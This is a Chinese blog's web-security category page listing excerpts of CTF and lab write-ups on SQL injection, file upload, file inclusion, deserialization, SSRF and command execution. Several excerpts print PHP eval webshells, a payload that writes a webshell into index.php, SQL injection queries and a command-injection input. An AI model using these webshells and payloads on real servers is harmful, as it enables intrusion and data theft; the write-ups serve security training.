![](https://img-blog.csdnimg.cn/20190918140037908.png?x-oss-process=image/resize,m_fixed,h_224,w_224)
Web安全
文章平均质量分 59
Web安全方面的内容
hangshao0.0
道阻且长,行则降至。
展开
-
攻防世界-Web进阶区-unserialize3
之前其实就记录过一篇反序列化的。PHP反序列化-(web_php_unserialize)那个反序列化的题目,比这个复杂一些。既然好久没练,而且在攻防世界上看到了这个 unserialize3 的题目,就复习一下反序列化吧。先 new 一个对象,然后将其序列化,代码如下:序列化的结果如下: 表示序列化的对象中只有一个属性,如果待反序列化的字符串中,属性个数与实际不符合,则 失效。因此,将 改为 绕过 。传参结果如下:......原创 2022-06-14 15:12:15 · 616 阅读 · 0 评论 -
Python连接PHP木马的后续分析(书接上回)
前面写的:Python连接PHP木马,并加密传输数据如果在服务器上写入最经典的那个一句话木马 ,然后传一个 命令,不进行加密,代码如下:那么抓取的流量如下:如果先进行 AES 加密,再使用 base64 编码,代码如下:那么抓取的流量如下:可以看出加密与不加密的效果对比。其实可以看到,我在 Python 代码里实现了加密,在 PHP 木马中实现了解密,因此,也就变成了 。如果仅仅通过一句话实现各种功能,同时还要实现流量的混淆该怎么做呢?那不就是蚁剑吗?(蚁剑本身是不加密的)虽然蚁剑可以通过一句话原创 2022-06-10 10:19:20 · 813 阅读 · 0 评论 -
Python连接PHP木马,并加密传输数据
前面写过两篇,但写的不多。使用python连接JSP一句话木马使用burpsuite对python的post请求进行抓包今天想起来,于是整合一下,再搞个加密。base64先是在 Linux 虚拟机里面写个 “两句话木马”。对传参进行一个 base64 解码,这就意味着在 Windows 本机上要进行一个 base64 编码。import requestsimport base64url = str(input('目标URL:')) # http://192.168.xxx.原创 2022-05-26 10:50:17 · 1820 阅读 · 1 评论 -
如何在kali linux中部署文件上传靶场,并在Windows本机访问
这里我没有用之前那个比较经典的文件上传靶场,而是使用国光大佬自己开发的靶场,讲解更详细,界面更好看。项目地址:https://hub.docker.com/r/sqlsec/ggctf-upload进入目录,然后安装,这里我自行把文件夹名称改为upload-labs# 进入项目文件夹cd upload-labs# 一键部署运行docker-compose up -d该项目的13个题目,端口为30001-30013。因此,从 Windows 本机访问 kali linux 的 IP,原创 2022-05-12 09:18:58 · 1186 阅读 · 0 评论 -
在SQL注入中,为什么union联合查询,id必须等于0
?id=0' union select 1,2,3 --+ ?id=0' union select 1,database(),3 --+?id=0' union select 1,database(),user() --+这里的 id 需要格外注意:如果只有两个回显位置那么 id 必须填写一个不存在的数(-1或者0),联合查询才能回显成功因为在数据表中,id 为 1,2,3,……如果参数为:?id=1' union select 1,2,3 --+那么查询语句就是:select *原创 2022-05-11 15:21:45 · 1305 阅读 · 0 评论 -
个人经历&&博客现状
之前使用Hexo + GithubPage搭建了个人博客。但GithubPage有时候比较卡,所以我在GithubPage和GiteePage上进行了双部署。GiteePage是国内平台,所以速度确实会更快,局限就是付费才能自动更新,不过每次都手动更新一下也不是什么坏事。之前有一天,Gitee上面说我提交了恶意代码,我也不知道是怎么回事,难道是因为博客里面写过一句话木马?当时没管,现在发现个人博客卡到基本访问不了,于是想着要不要自己搞个服务器重新搭建一下,看看Hexo博客在服务器里面是怎么搭建的,不原创 2022-04-28 09:14:55 · 572 阅读 · 0 评论 -
使用python连接JSP一句话木马
首先需要安装tomcat。去官网 http://tomcat.apache.org/ 下载对应的 Linux 版本。这里,我下载的是 apache-tomcat-8.5.70.tar.gz最好提前安装好 JDK1.8 ,因为 kali 自带的那个可能会出现一点问题。这是我遇到的问题,随手记录了一下。https://blog.csdn.net/weixin_45254208/article/details/119897865不过你也可以不重装,等出了问题再重装,万一你的电脑就没有我这种情况原创 2021-08-24 22:14:18 · 3560 阅读 · 0 评论 -
使用burpsuite对python的post请求进行抓包
目录准备好web环境测试代码测试结果使用burpsuite抓包准备好web环境Kali 中已经有 Apache 了,在 /etc 目录下 ls 即可显示出来,所以只需要进行配置就可以了。(这里用其他 Linux 或 Windows 虚拟机都行)打开 apache 服务的相关命令/etc/init.d/apache2 start (开启)/etc/init.d/apache2 restart (重启)/etc/init.d/apache2 status (查看状态)这里在 Kali原创 2021-08-21 17:33:26 · 3348 阅读 · 0 评论 -
BugkuCTF-web24(解题思路及步骤)
看题到处找,都没有额外信息抓包发现“链接”那个地方隐藏了一个a标签,点击跳转,得到代码分析代码<?phpif(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; if($v1 != $v2 && md5($v1)原创 2021-04-14 15:50:38 · 2461 阅读 · 2 评论 -
BugkuCTF-web21(详细解题思路及步骤)
目录审题F12获取信息Burp suite抓包解码分析PHP代码构造payload审题题目并没有什么信息,只是鼓励你不要放弃,never give up。F12获取信息没有额外信息,刷新了几下,也没有出现新东西。Burp suite抓包提示了 1p.html ,于是把GET参数改为 1p.html ,得到一串JS代码解码于是,在线解码解码后仍然存在注释内容,尝试用base64解码解码之后,发现了新信息,出现了一些函数和判断语句,同时还有许多百分号原创 2021-04-07 14:35:41 · 2910 阅读 · 5 评论 -
BugkuCTF-web16(备份是个好习惯)
解题要点使用御剑、dirmap 或者 dirsearch 等扫描工具,扫除备份文件所在位置打开备份文件,代码如下:<?php/** * Created by PhpStorm. * User: Norse * Date: 2017/8/6 * Time: 20:22*/include_once "flag.php";ini_set("display_errors", 0);$str = strstr($_SERVER['REQUEST_URI'], '?');$st原创 2021-04-04 10:23:54 · 1279 阅读 · 0 评论 -
读《白帽子讲Web安全》有感
该博客转自hangshao.tech,之前忘记在CSDN发布了。今天是2020.11.19,我开始了第二次拜读《白帽子讲Web安全》。记得大一的时候就买过这本书,不过奈何当时水平有限,实在是难以阅读下去,于是放弃。我想,在大三的时候再来重拾这本书,应该会有所收获,如果还能作一个总结,那便更好,所以现在陆陆续续地写一些吧,写一点发一点,或许全部写完的时候,已经是2021年了。(在写了在写了…)第一章是巨佬吴翰清讲述他的安全世界观。这一章讲了中国黑客史,介绍了白帽子和黑帽子,揭示了他认为的安全问题的本质原创 2021-01-20 19:39:36 · 1643 阅读 · 0 评论 -
CTFHub(SSRF部分的WP)
一、内网访问直接访问flag.php二、伪协议读取文件因为网站的目录一般都在/var/www/html/,所以我们直接使用file伪协议访问flag.php就可以。在url中直接访问,这次就跟上一题不一样了,返回的不是flag而是???,应该是做了处理,所以使用burpsuite抓包查看三、端口扫描dict协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源,在SSRF中如果可以使用此协议,就可以轻易获取目标服务器端口上运行的服务版本等信息(远程利用)直接使用bu原创 2020-11-09 08:29:26 · 1632 阅读 · 0 评论 -
SSRF浅析
CSRF与SSRF首先来说一下这两个长得这么像的东西,分别是什么,它们有什么区别?CSRF,全称为Cross-Site RequestForgery,也就是跨站请求伪造。SSRF,全称为Server Side RequestForgery,也就是服务器端请求伪造。XSS与CSRF说到CSRF,不得不提一下XSS。从名字上来看,同为跨站攻击,XSS是跨站脚本攻击,CSRF是跨站请求伪造,也就是说,CSRF攻击本不是出自用户之手,而是经过第三方恶意攻击者的处理之后,伪装成了受信任用户的“亲历亲为”。原创 2020-10-24 13:13:26 · 1455 阅读 · 0 评论 -
CTFHub-web(文件包含)
文件包含PHP中的strpos()函数查找字符串在另一字符串中第一次出现的位置PHP中的$_REQUEST预定义的 $_REQUEST 变量包含了 $_GET、$_POST 和 $_COOKIE 的内容$_REQUEST 变量可用来收集通过 GET 和 POST 方法发送的表单数据$_REQUEST 变量既可以收集GET方法发送的数据,也可以接受POST方法接受的数据题目内容:php://inputphp://input特点如下:1)、Coentent-Type仅在原创 2020-10-21 16:38:48 · 1987 阅读 · 1 评论 -
CTFHub-web(文件上传wp+总结)
无验证创建文件webshell.php,写入一句话木马:<?php @eval($_POST['shell']);?>直接上传,然后蚁剑连接前端验证查看源码文件名改为webshell.php.png,然后抓包,去掉.png再提交,绕过js验证上传文件成功,返回路径/upload/webshell.php蚁剑连接URL: http://challenge-5bf3cd70198a12f8.sandbox.ctfhub.com:10080/upload/webshel原创 2020-09-22 14:50:04 · 2032 阅读 · 5 评论 -
羊城杯web(eazyphp)
题目环境file_put_contents()file_put_contents() 函数把一个字符串写入文件中构造payload在 url 中传参?content=<?php @eval($_GET["hangshao"]);?>&filename=index.php蚁剑连接拿到flag原创 2020-09-11 19:42:25 · 1082 阅读 · 0 评论 -
羊城杯web(eazycon)
进入题目环境用dirsearch扫一下访问 /index.php由弹窗内容可以联想到一句话木马<?php @eval($_POST['cmd']);?>蚁剑连接目录下发现一个.txt 文件下载该文件得到很长的一段结尾是等号的字符串,我开始还用base64解码解不出来,真的是蠢,flag哪有那么长,这肯定是一张图片的base64编码呀,写个img标签就能解决(学会新技能了0.0)<img src="data:image/jpeg;base64, 这里是图片的b原创 2020-09-11 18:36:41 · 1552 阅读 · 0 评论 -
CTFHub-web(Git泄露)
当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。Gir泄露LogStash解法一:解法二:indexLog1. 使用dirsearch扫描,发现git泄露python dirsearch.py -u http://challenge-3d5f95fbd136fa99.sandbox.ctfhub.com:10080/ -e *2. 使用GItHack获取源码这里要确保是python2版本pytho原创 2020-08-25 20:39:45 · 6844 阅读 · 3 评论 -
CTFHub-web(备份文件下载)
技能树-备份文件下载网站源码bak文件vim缓存.DS_Store网站源码1. 分析题目看样子,应该是这些文件名和后缀的组合2. 简单写个python脚本找到哪个组合可以访问import requestsurl = "http://challenge-7e606a61e832074e.sandbox.ctfhub.com:10080"li1 = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']li2 = ['原创 2020-08-23 10:26:39 · 5234 阅读 · 2 评论 -
CTFHub-web(过滤空格)
1. 使用注释绕过开始用//和#试了一下发现不行,用/**/可以0/**/union/**/select/**/1,22. 获取数据库信息0/**/union/**/select/**/1,database()/**/3. 获取表信息0/**/union/**/select/**/1,group_concat(table_name)/**/ from/**/information_schema.tables/**/where/**/table_schema='sqli'4. 获取原创 2020-08-22 20:11:18 · 2410 阅读 · 5 评论 -
CTFHub-web(cookie注入)
1. 题目2. 浏览器F12审查3. 抓包4. cookie注入,获取数据库信息id=0 union select database(),version();5. 获取数据库sqli中的表名id = 0 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'6. 获取数据表oikfkadpry中的字段名id=0 union select原创 2020-08-22 17:28:19 · 2456 阅读 · 4 评论 -
CTFHub-web(MySQL结构)
1. 输入一个1,发现有两个注入点2. 验证这两个注入点0 union select 1,23. 从注入点得到数据库信息和数据库版本0 union select database(),version()4. 查询sqli数据库中的表0 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'5. 查询表中的字段0 union select原创 2020-08-21 20:25:00 · 2961 阅读 · 0 评论 -
CTFHub-web(sql时间盲注)
文章目录手工注入sqlmap注入使用脚本手工注入1. 题目信息2. 页面3秒钟后才响应,说明数据库名称长度=41 and if(length(database())=4,sleep(3),1)3. 猜解数据库名称1 and if(ascii(substr(database(),1,1))>110,sleep(3),1)1 and if(ascii(substr(database(),1,1))=115,sleep(3),1) ascii(s)=1151 and if(ascii原创 2020-07-25 16:07:59 · 3510 阅读 · 8 评论 -
CTFHub-web(sql布尔盲注)
文章目录手工注入sqlmap注入总结手工注入1. 题目直接说明了是布尔注盲注,来简单验证一下2. 既然如此,那么构造SQL语句,得到数据库长度3. 数据库名称的长度为4,然后可以猜解出数据库的名称得知当前数据库的第一个字母是s然后依次得到数据库的第2个字母到第4个字母最后对照ASCII表得到当前数据库名称为sqli4. 得到数据库中表的数量前面只是演示如何得到数据库的名称其实后面可以直接用database()来代替sqli1 and (select count(t原创 2020-07-22 10:37:23 · 4205 阅读 · 1 评论 -
PHP反序列化-(web_php_unserialize)
题目内容代码分析可以很明显地看出这是一道PHP反序列化地题目首先判断当前是否存在 GET 参数 ” var ” , 若存在则对其进行 Base64 解码后存入 $var 变量 . 若不存在则输出当前页面源码对 $var 进行一个正则过滤 , 若通过正则过滤 , 则对其进行反序列化操作,否则响应提示信息1. 题目中给出一个 Demo 类 , 需要注意一下其中三个魔术方法__wakeup() 该方法是PHP反序列化时执行的第一个方法 , unserialize()会先检查是否存在 __原创 2020-07-13 14:51:40 · 1764 阅读 · 9 评论 -
Web安全相关术语
1. IP地址互联网协议地址(英语:Internet Protocol Address,又译为网际协议地址),缩写为IP地址(英语:IP Address),是分配给网络上使用网际协议(英语:Internet Protocol, IP)的设备的数字标签。常见的IP地址分为IPv4与IPv6两大类,但是也有其他不常用的小分类。2. VPS虚拟专用服务器(Virtual Private Serve...原创 2020-03-08 20:21:34 · 549 阅读 · 0 评论 -
CTF-web(攻防世界upload1)
上传的必须是图片抓包绕过返回路径访问/upload/1594351827.1.php,system(phpinfo());执行成功继续上传蚁剑连接flag显而易见原创 2020-07-10 11:42:13 · 1205 阅读 · 0 评论 -
CTF-web(web_php_include)
1.题目信息2.代码理解3.抓包因为strstr()函数对大小写敏感,所以只需PHP://即可绕过将post请求的数据当作php代码执行,得到当前目录下的文件很明显flag在fl4gisisish3r3.php中,于是更改提交的php代码,得到flag...原创 2020-05-21 14:20:39 · 1822 阅读 · 0 评论 -
CTF-web(命令执行漏洞)
部分web应用程序提供了一些命令执行的操作,如果没有过滤好用户输入的数据,就很有可能形成系统命令执行漏洞。先上题,这是一个实现ping功能的web界面ping一下127.0.0.1看看在window下,&&可以将两条命令连接起来执行,linux下同样适用127.0.0.1 && ls感觉这跟SQL注入有点像,所以说有输入的地方就可能存在漏洞,执行上面...原创 2020-04-09 19:29:37 · 2342 阅读 · 0 评论 -
CTFHub-web(基础认证)
发现题目需要登录,先任意输入admin/admin进行登录尝试。没什么反应。抓包看数据。可以看见一条特殊字符串Basic realm="Do u know admin ?,暂时没有其他线索,我们假设用户名就是admin,然后进行暴力破解。Basic表示基础认证,字符串格式xxxxxxxxx==大概率为Base64编码Base64解码得到开始尝试输入的账号和密码将报文发送到Intrude...原创 2020-03-26 15:37:15 · 8919 阅读 · 0 评论 -
CTFHub-web(SQL整数型注入)
上题按照提示输入1尝试知道有几个字段,先传入1 order by 2,回显正常然后1 order by 3,根据回显可得知只有两个字段找注入点得知1,2均为注入点知道了当前数据库名,便可查询出表名0 union select 1,group_concat(table_name) from information_schema.tables where table_sche...原创 2020-03-26 10:13:29 · 387 阅读 · 0 评论 -
XSS详解
XSS简介:跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets)的缩写混淆,将跨站脚本攻击的缩写改为XSS。XSS是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种,恶意攻击者往web页面里插入恶意script代码,当用户浏览该网页时,嵌入其中的script代码会被执行,从而达到恶意攻击用户的目的。攻击成功之后,恶意...原创 2020-03-24 17:45:43 · 782 阅读 · 0 评论 -
SQL注入零基础实战
注:如果是零基础,那么一定要从上到下一个点一个点的学习,不然肯定有很多阻碍,一上来就想开始最后面的实战是不可能滴。还不够了解SQL注入的可以看看我另一篇博客:https://blog.csdn.net/weixin_45254208/article/details/105033276还没搭建SQL注入平台的也可以看看我另外一篇博客:https://blog.csdn.net/weixin_4...原创 2020-03-23 20:11:02 · 1450 阅读 · 0 评论 -
SQL注入基本介绍
SQL注入详解什么是SQL注入:SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。SQL注入的原理:用户可以通过Get或Post等方式,对服务器发出HTTP请求,而服务器端会对数...原创 2020-03-22 20:38:14 · 840 阅读 · 0 评论 -
SQLMap获取目标信息
还未安装SQLMap的,可以看这里:https://blog.csdn.net/weixin_45254208/article/details/1046970141.sqlmap连接数据库服务型数据库MySQL,Oraclepython sqlmap.py -d "mysql://用户名:密码@地址:端口/数据库名" -f --banner --dbs --users-f ...原创 2020-03-20 15:20:50 · 2623 阅读 · 0 评论 -
burpsuite拦截并修改请求
注:Proxy SwitchyOmega的安装使用,chrome和burpsuite的代理设置暂不赘述 1.在chrome中启用Proxy SwitchyOmega插件2.打开斗鱼页面,在搜索输入DOTA,但不点击搜索3.开启Proxy SwitchyOmega代理和burpsuite拦截功能点击Intercept is off按钮开启拦截4.在斗鱼搜索栏点击搜索就完成了拦截...原创 2020-03-17 15:54:58 · 6997 阅读 · 1 评论 -
端口信息收集(含常见端口攻击方向汇总)
1.使用在线网站探测,不能探测本地http://tool.chinaz.com/port/2。使用nmap探测nmap -A -V -T4 目标3.御剑高速TCP端口扫描工具 4.常见端口攻击方向远程连接服务端口文件共享服务端口web应用服务端口数据库服务端口邮件服务端口网络常见协议端口特殊服务端口...原创 2020-03-16 13:55:17 · 459 阅读 · 0 评论 -
收集子域名信息
1.第三方网站http://tool.chinaz.com/subdomainhttps://dnsdumpster.comhttps://phpinfo.me/domain/2.搜索引擎枚举3.子域名检测工具用于子域名检测的工具主要有Layer子域名挖掘机、K8、wydomain、Sublist3r、subDomainsBrute等,这里先记录wydomain的使用过程。...原创 2020-03-15 23:24:35 · 369 阅读 · 0 评论 -
CTFHub-web(cookie)
尝试使用burpsuite分析cookie参数,发送到repeater之后将admin的值改为1得到结果原创 2020-03-11 11:38:43 · 1011 阅读 · 0 评论